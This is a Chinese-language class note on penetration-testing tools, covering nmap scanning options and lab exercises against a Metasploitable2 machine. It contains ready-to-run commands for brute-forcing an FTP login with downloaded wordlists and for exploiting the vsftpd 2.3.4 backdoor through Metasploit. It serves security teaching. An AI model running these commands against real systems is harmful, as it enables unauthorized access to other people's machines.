---
# System prepended metadata

title: 108 常見自動化工具介紹與實務操作 (10/17)
tags: [LZ]

---


# 108 常見自動化工具介紹與實務操作 (10/17)

###### tags: `LZ`
---

Kali Linux 無法複製、貼上
==
```shell
# 安裝VM Tools
apt-get install open-vm-tools-desktop
# 重新啟動服務
systemctl restart vmware-tools
```
開啟http server
==
```shell
python -m SimpleHTTPServer 80
nmap -sS -p 80 localhost
```
Nmap
==
## 基本掃描
\# nmap [ip]
## 主機掃描
\# nmap -sn [ip/submask]
## 快速掃描
\# nmap -F [ip]
## 掃描服務版本
\# nmap -Pn -sS -sV -p [port] [ip]
## 輸出除錯和掃描詳細訊息
\# nmap -Pn -sS -sV -dd -vv -p [port] [ip]

## 掃描連接埠
### 所有連接埠
\# nmap -Pn -sS -p- [ip] -oN tcp_all.nmap
\# nmap -Pn -sS -p 0-65535 [ip]
### 常見連接埠
### TCP
\# nmap -Pn -sS --top-port 100 [ip]
### UDP
\# nmap -Pn -sU --top-port 100 [ip]

## Script 存放目錄
/usr/share/nmap/scripts/
## Script 類型定義
/usr/share/nmap/scripts/script.db

## Script type scan
\# nmap -Pn -sS -p ftp --script vuln [ip]


## 10/24 練習一
#### brute類型script掃描指令範例
\# nmap -sS -sV -p ftp --script brute [ip]

#### vuln類型script掃描指令範例
\# nmap -sS -sV -p ftp --script vuln [ip]

## 10/24 練習二
### 帳號密碼檔
#### 下載user.txt指令
\# wget --no-check-certificate  "https://drive.google.com/uc?export=download&id=1XhhgvVdz88Z1HFzqajiOejM4-T8TeWbf" -O user.txt

#### 下載passwd.txt指令
\# wget --no-check-certificate  "https://drive.google.com/uc?export=download&id=1M1UwrlOKIr-sprTYMTrXQtyR5yzaz9SJ" -O passwd.txt

#### 使用nmap的ftp-brute script對metasploitable2的FTP服務執行暴力破解，搭配我們自己的username及password資料檔
\# nmap -sS -p ftp --script ftp-brute --script-args passdb=~/passwd.txt --script-args userdb=~/user.txt [ip]

Username
https://drive.google.com/open?id=1XhhgvVdz88Z1HFzqajiOejM4-T8TeWbf

Password
https://drive.google.com/open?id=1M1UwrlOKIr-sprTYMTrXQtyR5yzaz9SJ

## 10/24練習三
#### 更新searchsploit資料庫
\# searchsploit -u
#### 透過searchsploit尋找exploit-db上的PoC
\# searchsploit vsftpd 2.3.4
#### 使用Metasplot Framework驗證漏洞
\# msfconsole -q
ms5> search vsftpd
ms5> use exploit/unix/ftp/vsftpd_234_backdoor
ms5> show options
ms5> set RHOSTS [ip]
ms5> exploit

---